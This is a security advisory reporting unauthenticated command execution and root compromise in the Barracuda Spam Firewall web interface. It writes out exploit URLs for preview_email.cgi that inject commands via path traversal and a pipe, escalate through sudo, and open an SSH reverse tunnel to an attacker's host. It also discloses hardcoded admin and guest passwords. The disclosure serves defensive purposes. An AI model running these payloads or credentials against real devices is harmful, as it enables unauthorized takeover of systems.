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Barracuda Spam Firewall Administrator Level Command Execution
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SUMMARY
Lack of input sanitisation in the Linux based Barracuda spam firewall web
interface allows execution of commands by unauthenticated users. Combined
with priviledge elevation techniques, execution of commands as the root
user is possible allowing a full system compromise.
DETAILS
In a follow-up investigation to '
<http://www.securiteam.com/securitynews/5GP040KJFU.html> Barracuda
Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]' by Greg
Sinclair, further investigation was performed by the Internet Defence
Security Team and several extra vulnerabilities were discovered, which
when leveraged with privilege escalation techniques allowed the remote
execution of commands as the root user without any authentication.
The original discovery by Greg Sinclair showed that it was possible to
open arbitrary files, either owned by the user/group 'nobody:nogroup' or
with world-read access, through the web interface using a path sanitation
vulnerability in preview_email.cgi, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?
file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
Access to the path '/cgi-bin/preview_email.cgi' does not require any
authentication.
Using this vulnerability, it is also possible to use the pipe character
(|) to redirect the stdout of any programs run, to the stdin of the file
open function to print the output of the command back to the web
interface, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?
file=/mail/mlog/../../bin/ls%20-la%20/|
It was then possible to leverage further privileges, as the user the http
daemon runs as (nobody), is granted root level access to several system
commands via the use of sudo, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?
file=/mail/mlog/../../usr/bin/sudo%20touch%20/foo|
(Repeating the previous command should then show that the file 'foo' has
been created with root permissions in '/').
The commands allowed (this is not a canonical list) include: mkdir, mv,
cp, kill, ls, ln, chown, chmod, rm, echo, cat (as well as access to
several 'wrapper' scripts in /home/emailswitch/code/firmware/current/bin/)
Access to such commands as a chown and chmod allowed further privilege
escalation by setting the 'suid' bit on several other system programs,
which could then be executed through the webinterface, without the use of
sudo, and would run with root privileges.
As such, a complete system compromise is possible remotely through the web
interface without any authentication.
It was also noted in '
<http://www.securiteam.com/securitynews/5HP050KJFY.html> Barracuda
Vulnerability: Hardcoded Password [NNL-20060801-01]' a hardcoded 'guest'
user password existed, which was 'bnadmin99'.
During further investigation it was noted that there was also a hard-coded
'admin' user password (this is the admin user for the web interface),
which is only possible to use if the httpd environment variable
'REMOTE_ADDR' equals '127.0.0.1'. If this case is true, then it is
possible to login to the web interface as the admin user using the
password 'adminbn99'.
In order to gain elevated privileges to login to the web interface as the
admin user, it is possible to bind a reverse ssh shell which would
eventually satisfy the 'remote_addr == localhost' check.
It was possible to expose the ssh rsa public key, which then could be
copied to a users' '.ssh/authorized_keys2' on a local machine, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?
file=/mail/mlog/../../bin/cat%20/home/emailswitch/code/config/id_rsa.pub|
With the public key in the authorized_keys2 file, it was then possible to
initiate the reverse shell from the web interface, e.g:
https://<deviceip>/cgi-bin/preview_email.cgi?
file=/mail/mlog/../../usr/bin/ssh%20-T%20-i%20/home/emailswitch/code/config/id_rsa
-R 8080:localhost:443 <youruser>@<youripaddress>|
It was them possible to login to 'https://127.0.0.1:8080/' with the
username of 'admin' and password of 'adminbn99' and manage the device as
an administrator.
It was noted that the original file input sanitation vulnerability seems
to have been 'silently' fixed by Barracuda Networks (as of 11pm GMT
03/08/06), which mitigates the attacks above.
So far, no advisories or update notices can be found on their website, and
the version numbers of the affected software remains the same.
Recommendations:
We agree with Greg Sinclair's statement that the web interface should
never be made accessible from untrusted networks like the Internet. The
web interface on the Barracuda Spam Firewall has a history of similar
issues, so we believe that it is highly likely that more vulnerabilities
will be found in the future.
ADDITIONAL INFORMATION
The information has been provided by <mailto:matt@ecsc.co.uk> Matthew
Hall.
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